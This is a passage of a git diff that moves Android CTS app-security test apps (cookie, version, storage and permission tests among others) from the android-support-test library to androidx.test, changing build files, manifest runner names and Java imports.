 import static org.junit.Assert.assertSame;
 
+import android.content.Context;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.cts.escalate.permission.Manifest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(AndroidJUnit4.class)
 public class PermissionEscalationTest {
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 2fcbc20..0b232fb 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
index 958ff61..37d423f 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.externalstorageapp" />
 
     <uses-permission android:name="android.permission.INTERNET" />
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 78eb619..b113f8f 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsInstantCookieApp
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
index 31f653d..d9b20c1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="test.instant.cookie" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
index 774296b..ec41bf3 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
@@ -16,17 +16,19 @@
 
 package test.instant.cookie;
 
-import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(AndroidJUnit4.class)
 public class CookieTest {
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
index 6385123..7c1d7095 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
index 31f653d..d9b20c1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="test.instant.cookie" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
index da1492f..c436682 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
@@ -16,17 +16,16 @@
 
 package test.instant.cookie;
 
+import static org.junit.Assert.assertEquals;
+
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 @RunWith(AndroidJUnit4.class)
 public class CookieTest {
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
index e0bc1cf..be0752a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test \
-    ctsdeviceutillegacy \
-    ctstestrunner
+    androidx.test.rules \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
index d068af5..c57c2a7 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
@@ -28,6 +28,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.instantupgradeapp" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
index 473f4b9..b9eff1a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
@@ -17,28 +17,21 @@
 package com.android.cts.instantupgradeapp;
 
 import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
 
-import android.app.Activity;
 import android.content.Context;
-import android.content.Intent;
 import android.content.SharedPreferences;
-import android.content.pm.ResolveInfo;
-import android.os.Bundle;
-import android.preference.PreferenceManager;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
-import java.util.List;
 
 @RunWith(AndroidJUnit4.class)
 public class ClientTest {
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index b99597b..a977416 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
index a958c4c..49c10da 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
@@ -34,7 +34,7 @@
     A self-instrumenting test runner, that will try to start the above instrumentation and
     verify it fails.
      -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.instrumentationdiffcertapp"
                      android:label="Test for instrumentation with different cert" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 3231710..8373d9e 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -30,7 +30,7 @@
 # Make sure our test locale polish is not stripped.
 LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Generate a locale split.
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
index 2f3a374..50c1a4d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -39,7 +39,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.isolatedsplitapp" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index b85e21b..300f978 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -27,9 +27,10 @@
 import android.content.res.Configuration;
 import android.content.res.Resources;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
index db83bb0..a064696 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
index 2a63cd7..7469dfa 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.majorversion" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
index dd32f59..b5e5ceb 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
index 934deec..ab9fc9e 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.majorversion" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
index d534b7b..d6117a9 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
index c7b9dd0..1cafa92 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
@@ -20,7 +20,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.majorversion" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
index 72c9914..0f80843 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
index 91d4e39..24a6d63 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
     <application/>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.majorversion" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
index e69e14b..921a724 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
@@ -16,18 +16,17 @@
 
 package com.android.cts.majorversion;
 
+import static org.junit.Assert.assertEquals;
+
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 @RunWith(AndroidJUnit4.class)
 public class VersionTest {
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index e08ac6f..a5807f0 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
index 8b599f2..cb7cf5c 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.multiuserstorageapp" />
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 656f54a..1797c75 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsNoRestartBase
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index a8aa042..0d2ded5 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -39,7 +39,7 @@
             </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
              android:targetPackage="com.android.cts.norestart" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
index 7c9dc2c..3582ed7 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
@@ -17,8 +17,9 @@
 package com.android.cts.norestart;
 
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
index 67fe9f4..9784c60 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
index 383f000..faefff2 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
@@ -130,6 +130,6 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.appsecurity.cts.orderedactivity" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
index e7ff989..6ce3fa2 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
@@ -16,18 +16,16 @@
 
 package android.appsecurity.cts.orderedactivity;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 
-import android.app.Activity;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
-import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index dfa703a..e2f9e12 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
index 8558b73..0e416d9 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.packageaccessapp"
                      android:label="Test to check package visibility."/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
index ad64806..dc33ee3 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
@@ -15,8 +15,6 @@
  */
 package com.android.cts.packageaccessapp;
 
-import static junit.framework.Assert.assertFalse;
-
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
@@ -24,12 +22,12 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 import org.junit.Test;
-import org.junit.internal.runners.statements.Fail;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index 184b73f..8521093 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index a5c227a..5f48099 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := 16
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
index a8d659b..d93dc25 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
 
